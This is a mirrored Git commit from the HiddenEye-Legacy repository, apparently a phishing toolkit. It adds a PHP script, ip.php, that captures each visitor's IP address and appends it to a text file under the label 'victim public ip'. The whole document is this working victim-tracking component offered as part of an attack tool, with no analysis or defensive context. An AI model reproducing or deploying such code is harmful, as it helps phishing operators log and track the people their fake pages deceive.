mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
added ip.php
This commit is contained in:
parent
eeef2cf747
commit
2c86d9c6a1
27
WebPages/ip.php
Normal file
27
WebPages/ip.php
Normal file
|
@ -0,0 +1,27 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
|
||||||
|
{
|
||||||
|
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
||||||
|
}
|
||||||
|
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
|
||||||
|
{
|
||||||
|
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
||||||
|
$victim = "victim public ip: ";
|
||||||
|
$fp = fopen($file, 'a');
|
||||||
|
|
||||||
|
fwrite($fp, $victim);
|
||||||
|
|
||||||
|
$fp = fopen($file, 'a');
|
||||||
|
|
||||||
|
fwrite($fp, $ipaddress);
|
||||||
|
|
||||||
|
fclose($fp);
|
||||||
|
?>
|
Loading…
Reference in New Issue
Block a user